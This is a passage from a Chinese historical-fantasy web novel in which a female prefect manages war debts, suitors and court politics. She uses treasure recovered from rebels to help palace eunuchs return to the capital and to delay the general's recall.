两人赶紧低下头,不敢再夹菜。 饭桌上其他人,稍稍叹口气。 要说梅娘的娘家,虽然不识字,却也是几十亩地的。 还有苏清梅娘的接济,日子都过的这样苦。 其实两人刚到广乐府的时候,吃饭的时候更着急,如今已经是好些了。 苏清不动声色,给两人夹了些肉,只道:“多吃菜,表姐最喜欢囤粮了。” 众人忍不住笑。 这是大实话,武捕头也道:“幸好您喜欢囤粮。” 否则如今的广乐府,也会像外面一样哀鸿遍野。 “所以明年,咱们要继续种田,继续囤粮。”苏清笑着道。 晏铮州看了看苏清,并未说什么,唯有沉默。 吃过饭后,苏清一边吃茶一边处理政务。 府城那边的事情还算顺利。 有罗主簿跟邬户司在,基本不成问题。 最大的问题,也就是叶家花家催债催得厉害。 还有其他各家嘲笑他们亏空百万两银子,“债主”知府还躲债不回来,觉得他们没眼光。 叶家离得远还好些。 花家就在府城,难免被笑话的更多。 对于这种家族来说,欠钱还好说,若面子无光,便是大问题。 而依松县的情况送过去,很好的解决了这个问题。 依松县各家大户什么情况,不用多说。 如果不是叶家花家,他们家人的下场,就是你们的下场。 你们还敢笑花家? 明明应该感激他家才是,他家救了所有人的命。 这话出自苏知府的口,由罗主簿告诉花家。 接下来就不用说,花家自己就会往脸上贴金。 故而欠债的事,也还稳得住。 只是花景明问了好几次,苏知府什么时候回来,府城等着她主持大局。 苏清对此自然不回答。 依松县的建设好说。 皋青州是大问题。 她是吃定皋青州的,没把那边握在手中,应该不会回府城。 苏清给花景明回信,只说时间待定。 其他各县的情况也都差不多。 知道战事结束,自然无比高兴。 南江县这边,田县丞已经彻底不能主持差事,还需要调人过来做县丞县令。 按理说应该从府学那边调用。 但南江县到底不同,还是知根知底的人用着放心。 苏清干脆让费秀才跟祝书吏两个人,一个兼任代县令,一个兼任代县丞。 而广乐府以外。 无非是江南叶家,叶山鸣那边她也去了信件,让他放心,自己年后就能还一部分银子。 再者便是京城。 京城对晏总兵不回这件事,表现的格外愤怒。 对武勇王爷的情况,也诸多不满。 大有一种,这是我们家的家事,旁人无需多说的感觉。 只是晏铮州的伤极重,强行让他回京,肯定会引起更多人不满。 虽说对方摆明要鸟尽弓藏。 但还是不能做的太过分。 苏清看着京城那边的态度,只觉得一言难尽。 真要仁慈,那就给足信任,安抚晏总兵好好养伤,对军中也是一种安慰。 真要狠心,那就连下圣旨让总兵回去,大概也能成。 现在不上不下的。 倒符合他们一贯作风。 这么想着,苏清就把京城那边的公文丢到一旁。 苏清本想喊着费秀才祝书吏跟她去见梁公公,又想起来两人已经是代县令代县丞,只好道:“云喜绿兰跟我左右吧。” 云喜不用说,今年十五岁,安排内官等人住宿吃喝,办的很是妥帖。 绿兰便是刘小妹,平日都喊她小名,这几年先在县学读书,然后在府城举人夫子手底下读,今年十三岁的她,也可以历练历练。 朱娘子自然愿意放人。 说不定等女儿再大些,也能像她爹一样做官呢。 两人跟着苏清身后,直接去了梁公公齐内官他们暂住的宅子里。 虽是暂住,苏清却让人收拾的十分舒适。 纵然跟京城比不过,但跟前线的艰苦相比,那还是强太多。 这处宅子,苏清甚至都不陌生。 还记得当年被借粮的王乡绅吗。 他家恶行累累,自被当时的苏县令收拾之后,家里每况愈下。 时不时有人状告他多年来的罪行。 多数罪案证据确凿,王乡绅根本无从争辩。 几年下来,卖田卖地卖宅子,把他敛下的不义之财尽数还回去。 这宅子就是其中之一,苏清特意租下来,让梁公公他们住。 云喜跟绿兰对门口的小厮都很熟悉,见到知府大人,众人立刻去报。 梁公公齐内官两人来迎,脸上俱是笑意。 “多谢苏知府,来了南江县,我等终于可以好好休息了。”梁公公的笑意,就表示对这里的生活很满意。 不说大富大贵,至少日子过得舒坦。 不过这也让他们更想回京城了。 苏清还特意问起此事:“下官接到京城过来的公文,想来大人们也接到了,什么时候回京啊。” 提到这,梁公公脸上笑意散了,摆摆手:“还没个准信。” 齐内官解释:“战事虽结束,但这十二万驻军的吃喝依旧需要负责。” “若无人接替,我等也不能走。” 而广乐府这边的账目又极为清晰。 苏清当初杀的人头滚滚,大家都看在眼里。 他们这些内官,在之前还敢多拿一些。 但自苏清负责后勤,基本就没了油水。 千辛万苦来管物资,不就是为了银子。 只要别做的太过分即可。 现在没了油水,自然是个鸡肋的职位。 朝中其他公公避之不及。 这简直跟当年无人做广乐府知府一样。 没好处,便没人来。 可梁公公他们也知道。 这事总不能埋怨苏清吧。 若不是她主持大局,别说贪钱了,命都要丢在这。 说来说去,还是朝廷那边离谱。 他们都来这四五年了,还找不到愿意接替的同僚。 这些话虽不能跟苏清讲明,却也知道她明白其中缘由。 苏清又问道:“那皇上如何讲,诸位劳苦功高,没有奖赏?” 此话有些故意拱火的嫌疑。 梁公公齐内官自然看出来,可他们还是哼了声。 奖赏? 不怀疑他们跟总兵勾结,成为总兵心腹就是好的。 他们在宫中的眼线不止说了一次。 皇上以前还好些。 自金陵回来后,颇有些多疑,每晚召幸妃子,并不让她们睡觉,完事之后就让她们守着自己,一夜到天亮。 不管外面有多少太监守卫,都让他夜不能寐。 听说如今愈发严重,脾气也愈发不好。 这种情况下,怀疑他们成为晏总兵心腹,似乎是理所应的。 但梁公公也好,齐内官也好。 怎么可能是晏总兵的人。 当初能来此地当镇守大臣,只因梁公公乃至已经去世的余内官,都是皇上心腹啊。 对于这点,苏清以前就知道。 自己当知府,以及处置贪污冬衣的内官,还要来广乐府武器铸造权。 都是梁公公直接向皇上写的密信。 这要不是皇上心腹,那就见鬼了。 也就是说,这又是朝廷一贯作风。 既要用梁公公等人,也知道这些人是自己心腹。 却还是忍不住怀疑。 至于为什么不调他们回京。 自然因为他们真的有军功在身,一旦调回去,必然要重用。 皇上又不愿意重用,故而僵持在这。 梁公公示意齐内官不要多说。 这态度,自然还是认皇上这个主子。 苏清并未深讲,她也不是来离间皇上跟梁公公他们,只是多条人脉罢了。 而且苏清直接道:“几位大人不用着急。” “我这里倒有个注意,可以让诸位快些回京。” 什么主意? 梁公公立刻道:“快些讲讲。” 苏知府的主意,肯定错不了。 见众人看向她,苏清提到另一件事:“京城遗失的财宝。” 苏清继续道:“还记得晏总兵因何出京吗?” 大家自然记得。 说京城大批财物被运往皋青州,让晏总兵收拾叛军之余,找回那些财物。 而且所有人都知道,对京城而来,后者才是重点。 不过晏总兵没做罢了。 如今怎么旧事重提。 苏清不卖关子:“诸位大人,我这边确实有些叛军线索,只是人脉不广,寻不到具体踪迹。” “所以想请大人们帮忙,找到这些人的下落,到时候诸位带着京城遗失财宝,必然能快点回京。” 梁公公跟齐内官对视一眼,都从对方眼中看出惊喜。 若真如此。 那肯定能回去啊。 叛军带走那么多财物,他们要是能找回一些,岂不是立刻让皇上不再怀疑他们? 而他们在宫中经营多年,各地都有些人脉关系。 只要有大概线索,他们确实能找到。 当下下午,苏清就把晏铮州同她讲的大概线索,告诉梁公公等人。 原来京城那伙叛军,确实带着财宝往皋青州方向跑。 不过这两地距离几千里,中途又起冲突,分赃不均,故而分成大大小小十二股队伍。 按照大家实力不同,分到的财宝数量也不一样。 最大的三支叛军队伍,分别往沿海,滇西府,以及皋青州。 剩下九股叛军也分散在各地,也有来找武勇将军的。 只是人还没到,武勇将军就被生擒,这些人也不知去向。 当时晏总兵为了出京,让手下去找这些人下落。 没想到在这会派上用场。 梁公公等人记下大概地址,立刻写信让人脉去查,估计年后会有消息。 “若查到具体地点,如何把财物带过来?”齐内官问道。 苏清笑:“放心,肯定能要回来的。” 晏铮州也好,甚至连飞扬等人。 擒拿这些小股叛军,还是容易的。 到时候连人带钱一起弄到南江县,想回京的可以回京,需要还债的,就有钱还债。 梁公公齐内官等人也安心不少。 苏清出的主意确实不错。 想到回京有望,他们在此地住的也更踏实了。 从梁公公他们住处离开,苏清又去了趟伤兵疗养处。 晏铮州也在这里,他正在跟文千户等人说话。 周围伤兵们看向他的眼神,全都崇拜无比。 苏清一来,众人更加热情。 一个苏知府,一个晏总兵。 在他们眼中,就是顺昌国最厉害的官员,最厉害的将军。 此刻的京城,皇上吃了汤药,眼神紧紧盯着桌案上的奏章。 各地的年节贺表被他一一查看,想从字里行间看出各地官员的想法。 若有不忠不孝想法的,就会被他单独拿出来,心里记上一笔。 而身边太监见此,也会传到这些官员耳朵里,让他们重新表忠心。 京城这边的官员更是如此,如果谁的贺表被单拎出来,必然战战兢兢,一定要再送上一封文辞俱佳的。 所以顾从斯那里围了不少人。 武家大儿子帮他招待来人,感叹道:“不过是封贺表,皇上也太重视了。” 说完他赶紧打嘴,幸好周围没有旁人。 顾从斯当没听到,继续写贺表。 他知道皇上喜好,又有一手好文章,来找他的人络绎不绝。 短短半个月内,已经积累不少财富。 整个京城都在这种如履薄冰的氛围中。 顾从斯跟武家大儿子难免怀念起南江县。 若再南江县,日子必不会这样难过。 武家老大道:“说起来,顾举人你跟苏大人的婚事,真的没问题吗?准备什么时候成婚啊。” 顾从斯笔下一顿,坚持道:“没问题。” “暂时的,不着急。” 但看你的样子,也不像不着急啊。 同样着急的,其实还有梅娘。 知道他们两个已经退婚的人并不多。 顾家爹娘因在广乐府做事,自然不好大张旗鼓讲。 梅娘也不会主动提起。 所以现在知道两人退婚的,也就他家跟梅娘苏清,顶多再加一个花景明。 还有远在徽州的前广乐府吏司主事一家? 梅娘着急,却不知道该怎么讲出去。 而且清清身份特殊,就算相看人家,都不知道怎么说。 之前忙起来,大家都顾不上。 现在难得悠闲,衙门的事有费秀才祝书吏,苏清没什么大事,只陪着母亲弟弟闲聊。 梅娘话就多起来。 “清清你想要个什么样的夫君,娘好帮你找找。”梅娘道,“总要有个想法才是。” 翻过年苏清整二十。 放到现代还是大学生的年纪。 如今倒是该婚嫁了。 苏清还真认真想了想:“长得要好。” 梅娘脑子里闪过顾举人的脸。 “要有能力。” 顾从斯也符合。 “人要好。” 梅娘叹口气:“这不就是从斯吗。” “就该让你们早早成亲的,也不至于相隔甚远。” 来找苏清的晏总兵,正好听到最后这句话,脚步顿了下。 还好弟弟苏澄看到,立刻出声。 苏清见有人来找,正好躲开娘亲的念叨,起身道:“娘回头再说吧。” 梅娘看着晏总兵背影。 这人似乎更符合清清要求。 不行不行。 他是皇上的弟弟,身份尊贵。 只是她家清清也不差什么吧 晏铮州来找,自有原因,他道:“听说你的贺表被送回来了?” 顺昌国各地多少官员,都是正儿八经参加过科举,很多人的贺表还不合格,何况苏清。 但关键是,苏清也没打算自己写,是让王学政代笔,她直接抄了一份。 就算这样,依旧不过关啊。 苏清刚想说,顾从斯在帮她重写,只不过要寄过来自己再抄录一遍。 晏铮州开口:“我帮你写了一份,你看看合不合适。” 苏清眼前一亮,立刻带他去书房。 书房里冷冰冰,等炭火升起来,苏清那边也看完了。 “好,比王学政写的好。” “我就说王学政糊弄我。” 苏清刚要磨墨,就见晏总兵不仅把炭火升好,也已经拿起砚台,她只等着抄录即可。 外面大雪纷飞,屋内炭火烧的温暖,还有帅哥帮她研磨,这日子终于像样了啊。 苏清也没旁的事,盯着晏总兵看,他忽然抬头道:“你方才想说,让顾举人帮你写?” 苏清点点头,又摇头:“太麻烦了,抄你这份就行。” 等苏清写完,看着两份文书,她才意识到。 若这两份文书单独看还好。 放在一起,怎么看怎么像。 晏铮州也发现这个问题,开口道:“要重新再写。” 至于原因,自不用说。 事实上他们二人都在南江县,就会让京城那边多番猜忌。 苏清却把文书放到炭火附近,等墨迹干了,直接让人送出去。 动作之快,让晏铮州狠狠皱眉。 苏清拍拍他肩膀,故意凑近道:“不差这一件事。” 是不差这一件事。 还是故意为之? 晏铮州想收拾行李回前线,就听苏清道:“你要去皋青州吗?那可是武勇王爷的地盘。” 去那里,更会引起猜忌吧。 晏铮州欲言又止。 他早就进退两难了。 苏清反而笑,忍不住又看了看晏总兵的身材跟脸。 虽不知皇上长什么样,但听说对方身体不好。 而他的弟弟不仅长得还惊为天人,身材看着也是宽肩窄臀,大概率还有腹肌胸肌。 怪不得皇上会忌惮这个弟弟。 只看外形,他已胜过绝多数人。 更何况还战无不胜。 “你的存在,就会被忌惮。”苏清直言,“真的不差这一件事。” “被忌惮,又不是你的错。” 苏清说完,直接从书房离开。 还未会后宅,就听云喜绿兰跑过来道:“苏姐姐,府城运军用物资的人来了。” 今日腊月二十,最后一批军用物资送来,等东西分发下去,将士们可以安心过年。 苏清他们也等着年节过去。 不过这种事情,用不着报到苏清这啊。 晏总兵跟过来,问道:“是有什么事?” 苏清跟晏铮州都以为出什么问题。 云喜他们却道:“押送物资的队伍里,有花家人。” 听到这话,苏清头疼了。 花家。 难不成是要要账的? 她现在还不起啊。 有事年后再说。 苏清是算过账的。 今年五月那会,已经欠叶家七十万两白银,花家一百二十万。 如今十二月,叶家那边有一百五十万两外债,花家直接到二百二十万。 可以说,这是最大的两个债主了。 费秀才他们显然也想到这一层,这才找云喜前来报信。 苏清头疼:“花家来人是谁?” “花家三公子花景明。” 晏铮州先一步抬头,就见衣着华贵的花景明闲庭信步地走进来,并自我介绍。 大冬天的,他穿着白青色锦缎衣裳,披着白狐皮的披风,也没戴厚重的帽子,只又青玉色的抹额。 苏清上下打量一番,这才道:“你开屏了?” 以前也见过花景明许多次,知道他衣着不俗。 但大冬天的,大家就差裹成球了,就他穿的格外潇洒。 也不对,她身边晏总兵也穿的潇洒,主要是他身体好,不需要裹那样厚实。 花景明挑眉:“对债主还这般不客气?” 见是花景明过来,苏清就不着急了,还对云喜道:“让费县令不用担心。” 花景明又笑:“费秀才都是费县令,他明年不考乡试了?” 考还是考的,否则怎么会是代县令。 见他们如此熟稔,晏铮州并未多讲,只是跟花景明对上目光,明显察觉到不对。 在知道他是苏清未婚夫顾从斯好友时,这份不对劲明显更深。 对好友的未婚妻如此轻佻熟悉? 苏清其实也发觉花景明格外热情,甚至还带了年礼过来,开口道:“花家其他人过来,肯定问你要说,所以我自告奋勇。” “怎么样?不仅不要钱,还给你送礼物。” 十几匹上好绸缎,再有各色衣料,以及足够她全家做皮袄的上好皮货。 更有各色珍玩,看的苏清都不敢收啊。 苏清忍不住道:“你是来行贿的?” 花景明顿住,不敢置信:“行贿只带这些?” 对我家财力没数吗! 苏清幽幽道:“别说了,再说下去,我就要赖账了。” 什么二百二十万两白银,她都不想还了。 岂料花景明只笑,并不多讲。 晏铮州皱眉,跟花景明再次对视,都从对方眼中看出什么。 这一趟过来,花景明倒不介意别人看出什么。 毕竟苏清没了婚约,男未婚女未嫁,他这番追求再合适不过。 只是他也不想挑明苏清跟顾从斯婚约解除了的事。 以前婚约还在,什么连飞扬叶山鸣就往前凑。 若是告诉他们这事没了,自己的机会更小。 花景明甚至看了看晏总兵,这人气势非常,自己在他面前大气都不敢喘。 这会看向他,勉强才能带上审视。 以前不开窍就算了。 自他发现心意,看谁都不对劲。 借着送年礼,花景明很快跟梅娘热络上。 知道上次的布料也是他送的,梅娘连连感谢,还说道:“只是清清没机会穿。” 得知苏清也有相同的衣裳,花景明笑道:“明年穿,你穿的时候同我讲。” 苏清摆摆手,显然并不在意,一扭头就见晏铮州目光深沉。 怎么了? 一直到花景明依依不舍离开,苏清也没发现异常。 倒是梅娘明显格外高兴,对花景明也是满意的。 长得好,能力不错,人也不错。 很符合清清要求啊。 花家为了战事,赊了那么多账,家族应该也不错的。 苏清听到梅娘说这事的时候,人都傻了。 她跟花景明? 开什么玩笑啊。 “不可能,花景明是顾从斯好友,他明知道。”苏清话未说完,就从梅娘眼神看出了然。 不是吧。 花景明确实知道自己更顾从斯没婚约了? 那也不太行吧? 总不能因为自己欠了两百多万,就把自己卖了? 苏清直接躲到书房里,就当自己什么也不知道。 临近年关,苏清往梁公公那走的勤了些。 内官那边,已经有一股叛军的下落。 “就是十二股叛军之一,首领姓张,携带三十多箱金银珠宝。” “手底下有百十来号人,占据广乐府隔壁山阳府一处山寨,年关前囤粮,就拿出一串玛瑙去附近县城典当。” “这种玛瑙的品质极为罕见,就有人买下献给当地督查公公。” 那公公是京城外派出来,一眼看出那玛瑙的出处。 七八年前,先皇在时赐给几个王公贵族,以及宫里娘娘的。 其他地方不可能出现。 既然是京城的物件,那典当玛瑙之人的身份,便呼之欲出。 那公公曾在梁公公手底下做事,打听清楚那伙叛军的情况,便立刻来信。 苏清听梁公公说完,便讲给晏总兵,目光闪闪地看着他:“三十多箱金银珠宝,若是变卖,能卖多少银子。” 晏铮州道:“足以还清广乐府所有欠款。” “包括叶家,以及花家的。” 苏清一头问号。 她是有这个打算。 但她谁也没说啊! 而且晏总兵你怎么回事,你不是身负圣命,要帮忙追讨财物吗? 晏铮州直接道:“我乔装前去追缴,到时候任你处置。” 苏清没想到,自己竟然不用多说? 她本来以为要费尽口舌,让晏铮州帮她截获财物。 一部分给梁公公,让他们可以顺利回京。 大多数物件,则要找人变卖,还给花家叶家,让广乐府不至于用明年的税收,来补这部分亏空。 这些话解释起来,确实很费功夫。 晏总兵有点太上道了啊。 不止如此,晏铮州甚至能说出那叛军张首领的姓名,以及身边人员情况,甚至作战习惯。 也是,之前他们就交过手,还是总兵的手下败将。 眼看晏铮州立刻要行动,苏清下意识拉住他:“别啊,大雪封山的,太危险。” “你伤也没好,不着急的。” 晏铮州看看她的手,皱眉道:“不着急吗?” 花家人追到这里,还不急? “不着急。”苏清还给他看叶山鸣的信,“实在不行,给他家当掌柜还债啊。” 不管是苏清,还是叶山鸣。 都知道这是开当年的玩笑。 晏铮州却认真看了一遍,更加确定道:“正月十五前,我把财物带回来。”??? 现在已经腊月二十六了??? 不到二十天时间,去隔壁山阳府,把一百多叛军手里的财宝抢过来? 苏清一时沉默。 战神好像确实有这个能力。 不过你身上的伤? 晏铮州难得笑:“对付他们,怎么可能负伤。” 当天晚上,晏总兵带着副手,又点了二百多亲兵离开。 对外只说去巡查军营,实际当晚便出了广乐府,直奔山阳府某地山寨。 只卖一串玛瑙,便买来成堆物资的叛军等人尝到甜头,趁着集市还开,又带着财物去县城享乐。 他们完全不清楚,自己已经被人盯上。 55-60 第56章 永晟四年,腊月三十。 南江县衙门前门关着,后宅宾客络绎不绝。 知府在这里住,周围各县县令肯定携家带口来拜。 甚至隔壁山阳府知府都派人过来,跟苏清打好关系。 当然,也有梁公公在这住的原因。 梁公公跟皇上私底下情况如何,暂且不论。 但在外人眼中,梁公公齐内官等人,还是皇上心腹。 而且战事结束,想来他们很快就会回京。 到时候在皇上耳边美言几句,岂不是极好。 这么想着,来南江县攀附的官吏自然更多。 苏清从早上开始待客,一直到二更过后,才把人都送走。 外面天寒地冻的,却也挡不住众人的热情。 一直到初五过后,几个村子的村长,尤其是药谷村的村长等人,也特意过来拜见。 现在药谷村专门种名贵药材,每年收益颇丰。 若不是打仗所累,该修的路都修好了。 说是年后继续修,估计年中就能用上。 苏清自然很是高兴,知道他们村子已经攒够银子,就更放心了。 说到银子,苏清自然看向山阳府方向。 晏总兵出发已经快十日。 也不知道情况如何。 梁公公还问起来,得知总兵大人去前线巡营,才没再多问。 不过私下里梁公公脸色极为难看。 他也给皇上送了贺表,听说也被单拎出来,却也不让他重写。 这态度不上不下,让人难受。 梁公公来找苏清的时候,待客人离开,终于找到机会吐槽:“京城那边也没个准信,便是想拍马屁,都找不到方法。” 唯一的办法,就是砸钱? 可他们日子也不好过啊。 等客人再来,苏清梁公公又带了笑意,装作无事发生。 又一批贵客离开,梁公公继续道:“听说苏知府第二份贺表倒是过关了,里面都写了什么啊。” 怎么? 这是来抄作业吗。 苏清也不瞒着,大概说了贺表内容。 无非是称赞皇上从小就聪明,与众不同云云。 又说去年胜仗都因为皇上。 梁公公震惊。 这种话,你都夸的出来? 这对吗? 谁帮你写的啊。 他们这些当官的,贺表都是出自下面人的手。 所以问是谁写的,并不奇怪。 “难道是你未婚夫?”梁公公道,“听说你未婚夫跟国子监保持距离,不过皇上那边倒是看重。” 苏清并未多讲两人关系,只帮他解释:“他在专心备考,今年乡试,明年又是会试了。” 说到这,苏清又道:“待公公回京,还请多照看他些,不管我们有没有婚事,他家与我家,当初到底交好,也帮过我许多。” 梁公公是什么样的精明人。 三两句话,便知两人婚事大概率有问题。 不过婚事不成,却也不影响官场关系。 那顾从斯颇有些学问,梁公公自然不介意多条路。 只是他苦笑道:“谁知道什么时候能回京。” 苏清笑:“梁公公吉人自有天相。” 当天晚上,苏清正在书房,就见门口有人过来。 那人身形高大,苏清立刻开门。 果然,正是晏总兵回来了。 他并未着甲,一身玄衣干净整洁,只有发丝略微有些凌乱,显示出他刚刚奔袭百里回来。 晏铮州稍稍点头:“带回来了。” 他语气简单,好像随便买了什么东西,顺手带回来。 但两人都明白,他带来的东西,可没那样简单。 趁着夜色,苏清去了码头一处库房,晏铮州帮她拿着火把,走进这处平平无奇的仓库。 南江县的库房多是衙门新建的,大小规模都差不多。 这一处也没什么特殊,就是前段时间,苏清让祝县丞腾出来,说她要放点东西。 前几日还空空荡荡仓库。 现在整整齐齐放了三十六个大箱子。 苏清随手打开一个,只见整整齐齐码着各色金银珠宝。 一串串珍珠玛瑙翡翠,以及工艺极为精湛的器玩。 纵然只有光把的光亮,也能看出珠宝熠熠生辉。 晏总兵手下马豪等人,利落打开其他箱子:“大人,您看。” 金条,珠宝,甚至还有书画。 这些都是京城贵族们传家秘宝。 叛军入城后,落入他们口袋。 现在又道苏清手中。 苏清道:“十二股贼人,这只是其中之一。” 甚至还不是最大的三个头目。 晏铮州并未多看这些东西,只是道:“应该能解广乐府的外债。” 肯定可以。 但是直接把东西拿去送人,只怕不行。 而且很难解释这么大笔财富是哪里来的。 不过这些事,晏铮州并不觉得是问题,苏清自有解决之法。 很快,费县令祝县丞两人过来。 他们两个开始盘点这些金银珠宝,苏清则问起事情经过。 晏铮州说的简单。 无非就是找到王叛军的踪迹,趁着他们享乐的时候,活捉几人,再让人带着去的山寨。 不到一日时间,就把上百叛军悉数斩首。 然后把东西带了回来。 好好好。 说的太简单了。 好像她都能做到一样。 晏铮州见她一脸不信,笑:“你准备分给梁公公多少箱?” 苏清比了个三。 众人以为她要给三十。 谁料她道:“三箱。” 应该足够梁公公齐内官他们回京了。 啊? 那剩下三十三箱呢? 苏清幽幽道:“还钱,养军队。” 依松县跟皋青州的军队,如今已有十二万人。 每日吃喝拉撒衣食住行,哪样不是银子。 甚至她要还的债,也是军中欠下来的啊。 马豪等人挠头。 这么说的话,眼前的金银珠宝,也用不了多久的。 晏铮州也叹口气:“再查查其他叛军的下落。” 趁着他回京之前,尽量多收缴些财物。 众人清点财物之时,苏清让晏铮州专门看看。 哪些带有皇家特有的标志,还有额外显眼的器型,全都挑出来。 这些物件太过扎眼,装箱让梁公公带回京。 其他东西,她则想办法卖出去。 所有物件登记完毕,苏清带着三大箱子物件去梁公公住处。 苏清算是不请自来,而且极为低调。 不过靠着她的脸,便被人小心迎进门。 梁公公也慌慌张张过来,想着有什么要紧事。 事情没看到,三箱子东西就在那放着。 屏退左右,苏清直接打开箱子:“公公,你看这些东西足够回京吗?” 梁公公见多识广,拿起其中一尊佛像:“这,这是宫中特质的佛像,上面还有大师的印记。” “这个,这个是先皇赏赐给陛下的。” “还有这个,刘侯爷家的镇宅之宝。” 够回京了吗?! 肯定够了啊! 只有一个问题,那就是:“这东西哪里来的?” 苏清直接道:“晏总兵巡营的时候,抓了一伙叛军。” 苏清又道:“叛军头子姓王,已经斩首了。” 王? 梁公公眼睛亮了。 这哪里是巡营时收缴的货物。 分明是山阳府那伙贼人! 总兵大人这段时间,就是去做这事? 杀鸡焉用牛刀啊! 总兵大人出手,必然手到擒来! 梁公公喜不自胜,苏清又递上两张单据。 第一张上,是三箱物件清单。 另一张是? 梁公公扫了一眼,这是第四箱第五箱的单据? 而这上面的物件,既无明显标识,也无皇家印记。 是,是给他的? 苏清只道:“总兵大人还需要休养,更要清缴其余叛军。” “待梁公公回京,还请多多美言。” 上次说起请梁公公帮顾从斯时,也只是说说。 现在请梁公公回京后,拖延晏铮州回去的时间,则用这两箱财物来换。 梁公公哪有不答应的。 人人都知道,总兵一回京,兵权必然旁落。 到时候任人宰割。 拖延回京时间,是人之常情。 看在这些东西的份上,他也要答应的。 既能回京,还能收两箱物件。 何乐而不为。 这世道,手头有钱才是真的。 自然,梁公公也不会问起其余物件下落如何。 三十多箱东西,为何只有五箱在这。 他可不是什么多嘴的人。 只是以前看着苏清,不像是如此贪婪的人啊。 她手底下账目,要多清晰有多清晰。 苏清似乎明白对方的想法,直接笑道:“广乐府家大业大,欠着很多银子。” 梁公公想到叶家花家的欠银,还有十六万将士的吃喝。 这么一看。 那些东西,似乎又不算什么了。 朝廷不拨军费。 确实艰难。 梁公公写好送回京城的文书,还特意让苏清看了。 上面写明,总兵大人近来巡营,捉到一股叛军,收缴三箱财物。 交由苏知府梁公公,由梁公公代为转交给陛下,清单在此,请陛下过目。 等梁公公签字送出。 只等着回京了。 这让他长舒口气。 终于可以回去了啊! 离开京城太久,就意味着离开权力太远。 以前他可是皇上心腹,如今被小人挑拨,跟陛下愈发疏远。 等他回去,一定会把该夺的都夺回来。 当然,他也会记住苏知府这份大人情。 跟聪明人合作,做事就是简单。 而他在地方上,也需要人手。 至于晏总兵,梁公公只能叹口气。 迟早是要回京城的。 希望那时候,皇上疑心病能少些。 这么多年共事,他也会帮忙说些好话。 即使他被派过来,就是为了监视晏总兵的。 但几番对比,人心难免有所倾向。 跟晏总兵跟苏知府共事。 至少不担心他们在背后捅刀子。 这封文书送出去,另外两箱物件也抬了过来。 梁公公笑的不见眼不见牙。 但也拿出一部分,打点其他人,这事直接瞒下来。 齐内官也得了些好处,他虽不知原因,却隐隐知道跟苏大人有关。 从梁公公这里出去,苏清马不停蹄,又给叶山鸣送去信件。 信里自然没有明说,只讲请他来南江县一趟,谈谈买卖。 江南距离广乐府有些路程。 东西送到那边换钱,再合适不过。 没记错的话,其中一股叛军跑到沿海一带,就算被揪出来,也能推到那些人身上。 她跟晏铮州,甚至叶山鸣,都不会有危险。 而晏总兵已经回院子休息,苏清还请了白大夫看诊。 确定他毫发无伤,长途奔袭也没什么损伤,只能感慨人跟人的体质不一样。 但这次回来,马豪跟苏清这边的人,关系明显更好了。 他们这些亲兵知道,苏大人既是为将士们奔走,也是在帮总兵大人有所交代。 大家可都没忘,总兵大人是怎么出京城的。 京城那边收到梁公公的文书,简直不敢置信。 皇上盯着清单,一时泪目。 很多东西都太多熟悉。 他以为再也找不回来了。 没想到他的弟弟,真的在帮他寻回,心里也一阵阵后怕。 这些东西若落入叔叔手中,那对方的实力肯定增强。 看来让晏铮州去广乐府,还是利大于弊的。 至于写文书的梁太监,确实忠心。 “让他回来吧。” “仗打完了,内臣们着实辛苦,让兵部派人接替。” 正月十五过完,年节也算结束。 信函从四面八方而来。 最惊喜的,自然是梁公公等人。 终于可以回京了! 太好了啊! 其他人可以再等等,他们这些内官可以立刻收拾东西离开。 如果等兵部的人过来,谁知道要到什么时候。 至于交接这种事,交给手底下人即可。 苏清算是见识到他们的迫不及待,十六收到密信,二十一便收拾好行李。 他们直接从南江县出发,坐马车回京城。 梁公公他们在南江县修整了一个多月,正好出发。 临走之前,梁公公专门请来苏知府,费县令,祝县丞等人吃酒。 原本该苏清设宴的,但梁公公却道:“这次能回去,全依仗你的计策,肯定是我请你。” “这是我在京中的外宅,若有事情,写信到此处即可。” 梁公公的名帖递给苏清,两人以后便有了联系。 苏清点头收下。 以后京中地方,肯定会互通有无的。 而齐内官那边,早上那会,他跟余云喜刘绿兰三人,又去余内官坟上拜了拜。 这俩孩子虽是老余的干儿子干女儿,没想到跟他相处的时间,却是最长的。 云喜带着绿兰,当着众人的面,又给齐叔拜了拜,算是正式辞行。 看着两人一脸真挚,态度格外诚恳,众内官也擦着眼泪。 他们都是太监,都是公公,这辈子无后,儿女双全这种事,是别想了。 老余这两个齐整孩子,看着就让人心酸。 齐内官也道:“我的名帖也给了苏大人,想来以后也会带着你们去京城,到时候就是自己家。” “对了,还有你们余爹的外宅,就在我家附近,已然是给你们俩了,我先帮忙看着,等你们大些了就去住。” 云喜跟绿兰两人,一个十六,一个十四,都跟在苏清左右。 齐内官自然放心。 话别不谈,送行那日,梁公公等人也颇为感慨。 不管怎么样,仗总算打完了。 晏铮州肯定是不去送的。 他是皇帝亲弟,身份尊贵,不过却接了苏清回来。 晏铮州已经知道,苏清用三箱物件,换他晚些回京。 苏清确实是瞒着他做的,却也不担心他生气,只道:“你要是走了,谁护送我去皋青州?” “那边的叛军,估计比山阳府叛军厉害的多。” 晏铮州见她避重就轻,少见有些无奈:“梁公公帮忙拖延,也拖延不了太久。” 苏清不管。 她真的不能放晏铮州走。 皋青州情况复杂,除了他之外,谁还能百战百胜啊。 而且她心里有些隐隐忧虑。 若只是卸了晏铮州的兵权还好。 若要他的命。 以后顺昌国再起叛军,谁来抵挡? 眼看晏铮州还再说,苏清突然停住,扭头对他道:“你的命只是你的吗?” 晏铮州皱眉。 “若再起叛军,生灵涂炭,都是你的问题。” 晏铮州平白背了黑锅,表情依旧不变。 苏清继续道:“你死事小,不能用你的能力,护住天下人,就是你的问题。” 这些话几乎毫无逻辑,也毫无道理。 费县令马豪等人越站越近,看着两人语气,几乎要瑟瑟发抖。 等苏清让费县令祝县丞离开,马豪才对上司道:“总兵大人,暂时不回京城是好事。” 晏铮州道:“回去的越晚,那边疑虑越大。” 他们甚至也更危险。 可苏清已经先斩后奏,断了他快些回去的路。 分明是把他往另一条路上带。 苏清到底知不知道自己在做什么。 要说生气,却是没有的。 晏铮州眼神不明,只道:“去巡营。” 既然不回京城。 十二万边军,就要好好训练。 还有流窜在皋青州的叛军,趁苏清过去之前,该抓获的尽快抓获。 梁公公等人离开。 晏总兵也带着手底下去皋青州清扫叛军。 苏清算着日子,只等叶山鸣了。 三十六箱东西送走五箱,剩下三十一箱金银财宝,她等着变成现银回府城呢。 作为知府,也不能经常不在啊。 正月二十二,叶山鸣终于坐着船过来。 